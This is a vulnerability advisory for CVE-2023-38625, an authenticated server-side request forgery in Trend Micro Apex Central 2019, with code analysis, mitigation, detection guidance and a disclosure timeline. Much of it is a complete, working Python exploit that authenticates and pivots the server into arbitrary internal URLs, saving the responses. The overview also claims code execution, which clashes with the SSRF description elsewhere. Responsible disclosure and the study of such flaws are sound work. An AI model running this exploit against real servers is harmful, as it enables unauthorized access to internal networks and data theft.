Summary:

Product Trend Micro Apex Central 2019
Vendor Trend Micro
Severity High
Affected Versions Apex Central 2019 Build <= 6394
Tested Version(s) Apex Central 2019 Build 6394
CVE Identifier CVE-2023-38625
CVE Description Missing input validation in Apex Central 2019 Build 6394 and below uses user-supplied values to perform a server-side request in a function in modDeepSecurity. This results in a SSRF vulnerability whereby an attacker can force the server to make arbitrary requests to any URL or endpoints, including those on the local network, in order to exfiltrate sensitive information that are normally not accessibleto the public to the public.
CWE Classification(s) CWE-918: Server-Side Request Forgery (SSRF)
CAPEC Classification(s) CAPEC-664: Server Side Request Forgery

CVSS3.1 Scoring System:

Base Score: 9.1 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Changed
Confidentiality (C) High
Integrity (I) Low
Availability (A) Low

Product Overview:

Trend Micro Apex Central™ is a web-based console that provides centralized management for Trend Micro products and services at the gateway, mail server, file server, and corporate desktop levels. Administrators can use the policy management feature to configure and deploy product settings to managed products and endpoints. The Apex Central web-based management console provides a single monitoring point for antivirus and content security products and services throughout the network.

Apex Central enables system administrators to monitor and report on activities such as infections, security violations, or virus/malware entry points. System administrators can download and deploy components, such as antivirus pattern files, scan engines, and antispam rules, throughout the network to ensure up-to-date protection. Apex Central allows both manual and pre-scheduled updates, and allows the configuration and administration of products as groups or as individuals for added flexibility. An authenticated attacker can use the vulnerability to execute arbitrary code on the target Trend Micro Apex Central instance. As the attack is targeted against the Trend Micro Apex Central instance, the attacker can gain access to other resources via lateral movements.

Vulnerability Summary:

It was discovered that at the modDeepSecurity module endpoint, a Server-side Request Forgery (SSRF) vulnerability exists. This allows an authenticated user of any role to pivot into and interact with services running in the local network, possibly allowing an attacker to exfiltrate sensitive information.

Vulnerability Details:

The following code is executed each time a request is made to the modDeepSecurity proxy file via https://TARGET_HOST/webapp/widget/proxy_controller.php?module=modDeepSecurity&act=register:

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php

public function proxy_register() {
    $ConnectionStatus = $this->loginDSMServerREST(); // [1]
    if ( $ConnectionStatus == WF_PROXY_ERR_NONE ) {
        mydebug_log("[modDeepSecurity][proxy_register] Login success.");
        $this->registerDSM();
        // ...
    }
    // ...
    $result = json_encode($this->m_productInformation) ;
    echo $result;
    // ...
}

Whenever a module’s proxy file is loaded, it will invoke the proxy_register() function. At [1], the server will make a POST request through the loginDSMServerREST() function:

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php

protected function loginDSMServerREST() {
    mydebug_log("[modDeepSecurity][loginDSMServerREST] In.") ;
    $nRet = WF_PROXY_ERR_NONE ;
    $urlAPI = "{$this->wsRESTPort}/authentication/login" ; // [2]
    $this->oHttpObj->setURL($urlAPI) ;
    $this->oHttpObj->setHeader("Content-Type", 'Content-Type: application/json') ;
    $this->oHttpObj->setMethod_POST() ;
    // ...

At [2], the destination URL is set to start with the value in $this->wsRESTPort, then concatenated with /authentication/login. The value of $this->wsRESTPort is assigned in the proxy_init() function, which is invoked at the start:

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php

public function proxy_init() {
    // ...
    $this->serverAddress = "{$this->cgiArgs['TargetProtocol']}://{$this->cgiArgs['TargetServerIP']}:{$this->cgiArgs['TargetPort']}" ; // [3]
    // ...
    $this->wsRESTPort = $this->serverAddress . $this->webUIPort . "/rest" ; 
}

At [3], it can be seen that user-controlled values from the HTTP request (TargetProtocol, TargetServerIP, TargetPort) are assigned into $this->wsRESTPort. Since the values are concatenated, it is possible to ignore the rest of the appended URL path by terminating the user-controlled input with ?a=, which converts the appended URL path into a query string instead.

Once the POST request is complete, the execution continues at proxy_register() and enters the if-block if the response code of the POST request was 200.

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php

public function proxy_register() {
    $ConnectionStatus = $this->loginDSMServerREST(); // [1]
    if ( $ConnectionStatus == WF_PROXY_ERR_NONE ) {
        mydebug_log("[modDeepSecurity][proxy_register] Login success.");
        $this->registerDSM(); // [4]
        // ...
    }
    // ...
    $result = json_encode($this->m_productInformation) ;
    echo $result;
    // ...
}

At [4], the registerDSM() function is invoked:

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php

public function registerDSM() {
    $apiVersion = $this->getRESTAPIVersion();
    $version = $this->getDSMVersion();
    if ( null == $version || null == $apiVersion ) {
        // ...
    } else {
        if ( version_compare($version, "9.0.5012") < 0 ) {
            $this->m_productInformation = array('response' => 'Logon', 'errcode' => TMDS_DEPLOY_ERROR_UNSUPPORTED_VERSION, 'message' => 'Make sure Deep Security 9.0 or above is installed at {$this->serverAddress}.', 'product_version' => $version, 'server_guid' => '' , 'product_id' => TMDS_PRODUCT_ID) ; // [5]
            // ...

This function invokes 2 separate functions, getRESTAPIVersion() and getDSMVersion() which both sends a GET request each to the same URL as before (with some appended path values that are ignored). The response bodies of both requests are stored in the $apiVersion and $version PHP variables respectively.

At [5], the variable $this->m_productInformation stores an array in which the product_version key stores $version as its value. Execution then returns to proxy_register() where, the values stored in the $this->m_productInformation variable are JSON-encoded and returned as a response to the original request. As such, the response from the SSRF will be displayed in a JSON-encoded response.

Exploit Conditions:

This vulnerability can be exploited by having access to a low-privilege user account.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this SSRF vulnerability:

# Trend Micro Apex Central 2019 (<= Build 6394) Authenticated SSRF (CVE-2023-38625)
# Via: https://TARGET_HOST/webapp/widget/proxy_controller.php?module=modDeepSecurity&act=register
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import random
import re
import requests
import string
import sys
from urllib.parse import urlparse
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
requests.packages.urllib3.disable_warnings()

s = requests.Session()

def check_args():
    global target, username, password, ssrf_target

    print("\n===== Trend Micro Apex Central 2019 (<= Build 6394) Authenticated SSRF (CVE-2023-38625) =====\n")

    if len(sys.argv) != 5:
        print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL USERNAME PASSWORD SSRF_TARGET_DOMAIN".format(sys.argv[0]))
        sys.exit(1)

    target = sys.argv[1].strip("/")
    username = sys.argv[2]
    password = sys.argv[3]
    ssrf_target = urlparse(sys.argv[4])

def authenticate():
    global s

    print("[+] Attempting to authenticate...")

    # MD5 hash the password, store as tempPassword
    temp_password = hashlib.md5(password.encode()).hexdigest().encode()

    # GET the challenge number from GET /webapp/Login.aspx?Query=GetChallengeNumber
    res = s.get("{}/webapp/Login.aspx?Query=GetChallengeNumber".format(target), verify=False)
    chall_num = re.match("ChallengeNumber=(.+)\n", res.text).group(1).strip().encode()

    # HMAC-MD5 the tempPassword using the challenge number as the key, store as the new tempPassword
    temp_password = hmac.new(chall_num, temp_password, hashlib.md5).hexdigest().strip().encode()

    # GET RSA key at /ControlManager/download/SSO_PKI_PublicKey.pem
    res = s.get("{}/ControlManager/download/SSO_PKI_PublicKey.pem".format(target), verify=False)
    rsa_key = res.text.strip().encode()

    # Encrypt the tempPassword with the RSA public key, PKCS1_v1_5 is mandatory and PKCS1_OAEP does not work due to JSEncrypt
    cipher = PKCS1_v1_5.new(RSA.import_key(rsa_key))
    ciphertext = cipher.encrypt(temp_password)
    encrypted_password = base64.b64encode(ciphertext)

    # Login
    data = {
        "Query": "Logon",
        "UserName": username,
        "PassWord": encrypted_password,
        "InstID": "",
        "Format": "",
        "Location": ""
    }
    res = s.post("{}/webapp/Login.aspx".format(target), data=data, verify=False)

    if ".ASPXAUTH" not in res.cookies:
        print("[!] Failed to authenticate. Are the credentials correct?")
        sys.exit(1)

    # Get PHPSESSID Cookie
    s.post("{}/webapp/widget/index.php".format(target), verify=False)
    print("[+] Authenticated successfully!")

def ssrf():
    print("[+] Performing SSRF...")
    payload = f"{ssrf_target.netloc}{ssrf_target.path}"
    random_param = "".join(random.choices(string.ascii_letters + string.digits, k=12))
    if ssrf_target.query:
        payload += f"?{ssrf_target.query}&{random_param}="
    else:
        payload += f"?{random_param}="
    
    res = s.get(f"{target}/webapp/widget/proxy_controller.php?module=modDeepSecurity&act=register&TargetProtocol={ssrf_target.scheme}&TargetServerIP={payload}", verify=False)
    res_json = json.loads(res.text)
    
    if res_json['errcode'] == 421 or res_json['errcode'] == 422:
        print("[!] SSRF target not accessible! This may be due to redirections or a typo.")
        sys.exit(1)
    elif res_json['errcode'] == 431:
        print("[+] SSRF successful! Partial HTML of SSRF target:\n")
        print(res_json['product_version'][:500]+"\n")
        with open(f"ssrf_target_output_{ssrf_target.netloc}.html", "w") as f:
            f.write(res_json['product_version'])
        print(f"[+] Full HTML written to 'ssrf_target_output_{ssrf_target.netloc}.html'!")
        sys.exit(0)

def main():
    check_args()
    authenticate()
    ssrf()

if __name__ == "__main__":
    main()

Suggested Mitigations:

Update the Apex Central installation to the latest version as shown in Trend Micro’s Download Center.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to /webapp/widget/proxy_controller.php?module=modDeepSecurity&act=register and manually verify if TargetProtocol, TargetServerIP or TargetPort contain suspicious records (e.g. fuzzing, service discovery).

Credits:

Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2022-12-14 Reported Vulnerability to Vendor via ZDI
  • 2023-02-22 Triaged and Reported by ZDI
  • 2023-07-03 Patch Released by Vendor
  • 2023-08-22 Public Release